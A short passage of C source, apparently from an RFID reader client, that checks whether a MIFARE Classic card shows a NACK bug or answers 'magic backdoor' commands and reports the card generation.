				case  0 : PrintAndLogEx(SUCCESS, "No NACK bug detected"); return 2;
				default : PrintAndLogEx(WARNING, "errorcode from device [%i]", ok); return 0;
			}
			break;
		}
	}	
	return 0;
}
/* try to see if card responses to "chinese magic backdoor" commands. */
void detect_classic_magic(void) {
	
	uint8_t isGeneration = 0;
	UsbCommand resp;
	UsbCommand c = {CMD_MIFARE_CIDENT, {0, 0, 0}};
	clearCommandBuffer();
	SendCommand(&c);
	if (WaitForResponseTimeout(CMD_ACK, &resp, 1500))
		isGeneration = resp.arg[0] & 0xff;
	
	switch( isGeneration ){
		case 1: PrintAndLogEx(SUCCESS, "Answers to magic commands (GEN 1a): YES"); break;
		case 2: PrintAndLogEx(SUCCESS, "Answers to magic commands (GEN 1b): YES"); break;
		//case 4: PrintAndLogEx(SUCCESS, "Answers to magic commands (GEN 2): YES"); break;
		default: PrintAndLogEx(INFO, "Answers to magic commands: NO"); break;
	}		
}